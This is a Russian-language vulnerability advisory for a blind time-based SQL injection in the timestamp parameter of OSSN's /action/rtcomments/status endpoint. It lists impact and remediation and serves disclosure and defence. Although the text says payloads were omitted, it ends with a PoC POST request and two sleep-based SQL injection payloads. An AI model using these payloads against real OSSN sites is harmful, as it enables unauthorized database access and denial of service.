
Доказательство концепции уязвимости слепой time-based SQL-инъекции в конечной точке /action/rtcomments/status OSSN, демонстрирующее произвольное выполнение SQL через параметр timestamp.
Слепая Time-Based SQL-инъекция в /action/rtcomments/status (параметр: timestamp)
Уязвимость слепой time-based SQL-инъекции была обнаружена в параметре timestamp конечной точки /action/rtcomments/status. Аутентифицированный злоумышленник, который может управлять этим параметром, способен выполнять произвольные SQL-запросы, потенциально раскрывая или изменяя конфиденциальные данные.
Воздействие: раскрытие данных, изменение данных, повышение привилегий, потенциальный отказ в обслуживании (DoS) через запросы с задержкой (в зависимости от прав БД).
Устранение: Обновите OSSN до версии 8.9 или более поздней. Кроме того, убедитесь, что приложение использует параметризованные запросы/подготовленные выражения для всех обращений к базе данных, строго проверяйте входные данные timestamp (принимайте только ожидаемые числовые или ISO форматы), применяйте принцип минимальных привилегий для учетной записи БД, а также включите тайм-ауты запросов и логирование.
Примечания: Эксплойт-пейлоуды намеренно опущены из соображений безопасности.
github: https://github.com/opensource-socialnetwork/opensource-socialnetwork/issues/2503
PoC
Send request with method POST '/action/rtcomments/status?guid=18&type=post&ossn_ts=1759741100&ossn_token=c3901a321e755ea3e9956e79eb0fbc7e674f80665725774738b93324699c7c28'
Payload: timestamp=(select*from(select(sleep(10)))a)

Payload: timestamp=(select*from(select(sleep(30)))a)
